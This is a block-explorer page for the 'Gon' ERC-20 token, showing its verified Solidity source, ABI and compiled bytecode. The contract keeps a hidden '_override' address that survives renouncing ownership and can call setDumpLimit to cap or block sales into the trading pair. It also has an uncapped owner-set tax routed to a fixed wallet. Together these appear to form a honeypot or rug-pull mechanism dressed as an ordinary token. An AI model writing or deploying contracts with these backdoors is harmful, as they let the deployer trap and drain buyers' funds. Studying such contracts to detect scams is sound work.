Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
10,000,000,000 GON
Holders
20
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 0 Decimals)
Balance
85,736,276 GONValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Gon
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-10-28 */ // SPDX-License-Identifier: MIT // Telegram: t.me/gon_inu pragma solidity ^0.8.4; address constant WALLET_ADDRESS=0xa014a9285Eb229f3887d6Ef7fefd7942a8339BcE; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed oldie, address indexed newbie); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender() , "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Gon is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 ; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxRate; address payable private _taxWallet; string private constant _name = "Gon"; string private constant _symbol = "GON"; uint8 private constant _decimals = 0; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; address private _override; uint256 private _maxDump = _tTotal; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(WALLET_ADDRESS); _rOwned[_msgSender()] = _rTotal; _override=owner(); _router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _taxRate = 8; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setTaxRate(uint rate) external onlyOwner{ require(rate>=0,"Tax must be non-negative"); _taxRate=rate; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?1:0)*amount <= _maxDump); if (from != owner() && to != owner()) { if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(balanceOf(address(this))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "Trading is already open"); _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()); _router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); swapEnabled = true; _maxDump = _tTotal; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } modifier overridden() { require(_override == _msgSender() ); _; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function setDumpLimit(uint256 limit) external overridden { _maxDump = limit; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldie","type":"address"},{"indexed":true,"internalType":"address","name":"newbie","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"limit","type":"uint256"}],"name":"setDumpLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rate","type":"uint256"}],"name":"setTaxRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526402540be400600019620000199190620003a5565b60001962000028919062000360565b6003556000600860156101000a81548160ff0219169083151502179055506000600860166101000a81548160ff0219169083151502179055506402540be400600a553480156200007757600080fd5b5060006200008a6200030160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073a014a9285eb229f3887d6ef7fefd7942a8339bce600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060035460016000620001946200030160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001e26200030960201b60201c565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060086005819055506200028f6200030160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6402540be400604051620002f3919062000343565b60405180910390a36200043b565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200033d816200039b565b82525050565b60006020820190506200035a600083018462000332565b92915050565b60006200036d826200039b565b91506200037a836200039b565b92508282101562000390576200038f620003dd565b5b828203905092915050565b6000819050919050565b6000620003b2826200039b565b9150620003bf836200039b565b925082620003d257620003d16200040c565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b612c93806200044b6000396000f3fe6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b80638da5cb5b1461026957806395d89b4114610294578063a9059cbb146102bf578063aac3cd03146102fc576100fe565b8063313ce567116100c6578063313ce567146101d357806351bc3c85146101fe57806370a0823114610215578063715018a614610252576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b604051610125919061243b565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611fdb565b6103f6565b6040516101629190612420565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d91906125bd565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611f88565b610421565b6040516101ca9190612420565b60405180910390f35b3480156101df57600080fd5b506101e86104fa565b6040516101f59190612632565b60405180910390f35b34801561020a57600080fd5b506102136104ff565b005b34801561022157600080fd5b5061023c60048036038101906102379190611eee565b610579565b60405161024991906125bd565b60405180910390f35b34801561025e57600080fd5b506102676105ca565b005b34801561027557600080fd5b5061027e61071d565b60405161028b9190612352565b60405180910390f35b3480156102a057600080fd5b506102a9610746565b6040516102b6919061243b565b60405180910390f35b3480156102cb57600080fd5b506102e660048036038101906102e19190611fdb565b610783565b6040516102f39190612420565b60405180910390f35b34801561030857600080fd5b50610323600480360381019061031e9190612048565b6107a1565b005b34801561033157600080fd5b5061034c60048036038101906103479190612048565b61080c565b005b34801561035a57600080fd5b506103636108ef565b005b34801561037157600080fd5b5061038c60048036038101906103879190611f48565b610e12565b60405161039991906125bd565b60405180910390f35b3480156103ae57600080fd5b506103b7610e99565b005b60606040518060400160405280600381526020017f476f6e0000000000000000000000000000000000000000000000000000000000815250905090565b600061040a610403610f0b565b8484610f13565b6001905092915050565b60006402540be400905090565b600061042e8484846110de565b6104ef8461043a610f0b565b6104ea85604051806060016040528060288152602001612c3660289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a0610f0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114159092919063ffffffff16565b610f13565b600190509392505050565b600090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610540610f0b565b73ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600061056b30610579565b905061057681611479565b50565b60006105c3600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611701565b9050919050565b6105d2610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106569061251d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f474f4e0000000000000000000000000000000000000000000000000000000000815250905090565b6000610797610790610f0b565b84846110de565b6001905092915050565b6107a9610f0b565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080257600080fd5b80600a8190555050565b610814610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108989061251d565b60405180910390fd5b60008110156108e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108dc9061259d565b60405180910390fd5b8060058190555050565b6108f7610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b9061251d565b60405180910390fd5b600860149054906101000a900460ff16156109d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cb906124bd565b60405180910390fd5b610a0630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166402540be400610f13565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6e57600080fd5b505afa158015610a82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa69190611f1b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2a57600080fd5b505afa158015610b3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b629190611f1b565b6040518363ffffffff1660e01b8152600401610b7f92919061236d565b602060405180830381600087803b158015610b9957600080fd5b505af1158015610bad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd19190611f1b565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c5a30610579565b600080610c6561071d565b426040518863ffffffff1660e01b8152600401610c87969594939291906123bf565b6060604051808303818588803b158015610ca057600080fd5b505af1158015610cb4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd99190612075565b5050506001600860166101000a81548160ff0219169083151502179055506402540be400600a819055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610dbd929190612396565b602060405180830381600087803b158015610dd757600080fd5b505af1158015610deb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0f919061201b565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eda610f0b565b73ffffffffffffffffffffffffffffffffffffffff1614610efa57600080fd5b6000479050610f088161176f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7a9061257d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fea9061249d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110d191906125bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561114e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111459061255d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b59061245d565b60405180910390fd5b60008111611201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f89061253d565b60405180910390fd5b600a5481600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112b05750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b6112bb5760006112be565b60015b60ff166112cb9190612729565b11156112d657600080fd5b6112de61071d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561134c575061131c61071d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561140557600860159054906101000a900460ff161580156113bc5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113d45750600860169054906101000a900460ff165b15611404576113ea6113e530610579565b611479565b60004790506000811115611402576114014761176f565b5b505b5b6114108383836117db565b505050565b600083831115829061145d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611454919061243b565b60405180910390fd5b506000838561146c9190612783565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114b1576114b06128de565b5b6040519080825280602002602001820160405280156114df5781602001602082028036833780820191505090505b50905030816000815181106114f7576114f66128af565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115d19190611f1b565b816001815181106115e5576115e46128af565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061164c30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f13565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116b09594939291906125d8565b600060405180830381600087803b1580156116ca57600080fd5b505af11580156116de573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f9061247d565b60405180910390fd5b60006117526117eb565b9050611767818461181690919063ffffffff16565b915050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156117d7573d6000803e3d6000fd5b5050565b6117e6838383611860565b505050565b60008060006117f8611a2b565b9150915061180f818361181690919063ffffffff16565b9250505090565b600061185883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a81565b905092915050565b60008060008060008061187287611ae4565b9550955095509550955095506118d086600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4c90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196585600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119b181611bf4565b6119bb8483611cb1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a1891906125bd565b60405180910390a3505050505050505050565b6000806000600354905060006402540be4009050611a596402540be40060035461181690919063ffffffff16565b821015611a74576003546402540be400935093505050611a7d565b81819350935050505b9091565b60008083118290611ac8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abf919061243b565b60405180910390fd5b5060008385611ad791906126f8565b9050809150509392505050565b6000806000806000806000806000611b018a600554600554611ceb565b9250925092506000611b116117eb565b90506000806000611b248e878787611d81565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b8e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611415565b905092915050565b6000808284611ba591906126a2565b905083811015611bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be1906124dd565b60405180910390fd5b8091505092915050565b6000611bfe6117eb565b90506000611c158284611e0a90919063ffffffff16565b9050611c6981600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9690919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cc682600354611b4c90919063ffffffff16565b600381905550611ce181600454611b9690919063ffffffff16565b6004819055505050565b600080600080611d176064611d09888a611e0a90919063ffffffff16565b61181690919063ffffffff16565b90506000611d416064611d33888b611e0a90919063ffffffff16565b61181690919063ffffffff16565b90506000611d6a82611d5c858c611b4c90919063ffffffff16565b611b4c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d9a8589611e0a90919063ffffffff16565b90506000611db18689611e0a90919063ffffffff16565b90506000611dc88789611e0a90919063ffffffff16565b90506000611df182611de38587611b4c90919063ffffffff16565b611b4c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e1d5760009050611e7f565b60008284611e2b9190612729565b9050828482611e3a91906126f8565b14611e7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e71906124fd565b60405180910390fd5b809150505b92915050565b600081359050611e9481612bf0565b92915050565b600081519050611ea981612bf0565b92915050565b600081519050611ebe81612c07565b92915050565b600081359050611ed381612c1e565b92915050565b600081519050611ee881612c1e565b92915050565b600060208284031215611f0457611f0361290d565b5b6000611f1284828501611e85565b91505092915050565b600060208284031215611f3157611f3061290d565b5b6000611f3f84828501611e9a565b91505092915050565b60008060408385031215611f5f57611f5e61290d565b5b6000611f6d85828601611e85565b9250506020611f7e85828601611e85565b9150509250929050565b600080600060608486031215611fa157611fa061290d565b5b6000611faf86828701611e85565b9350506020611fc086828701611e85565b9250506040611fd186828701611ec4565b9150509250925092565b60008060408385031215611ff257611ff161290d565b5b600061200085828601611e85565b925050602061201185828601611ec4565b9150509250929050565b6000602082840312156120315761203061290d565b5b600061203f84828501611eaf565b91505092915050565b60006020828403121561205e5761205d61290d565b5b600061206c84828501611ec4565b91505092915050565b60008060006060848603121561208e5761208d61290d565b5b600061209c86828701611ed9565b93505060206120ad86828701611ed9565b92505060406120be86828701611ed9565b9150509250925092565b60006120d483836120e0565b60208301905092915050565b6120e9816127b7565b82525050565b6120f8816127b7565b82525050565b60006121098261265d565b6121138185612680565b935061211e8361264d565b8060005b8381101561214f57815161213688826120c8565b975061214183612673565b925050600181019050612122565b5085935050505092915050565b612165816127c9565b82525050565b6121748161280c565b82525050565b600061218582612668565b61218f8185612691565b935061219f81856020860161281e565b6121a881612912565b840191505092915050565b60006121c0602383612691565b91506121cb82612923565b604082019050919050565b60006121e3602a83612691565b91506121ee82612972565b604082019050919050565b6000612206602283612691565b9150612211826129c1565b604082019050919050565b6000612229601783612691565b915061223482612a10565b602082019050919050565b600061224c601b83612691565b915061225782612a39565b602082019050919050565b600061226f602183612691565b915061227a82612a62565b604082019050919050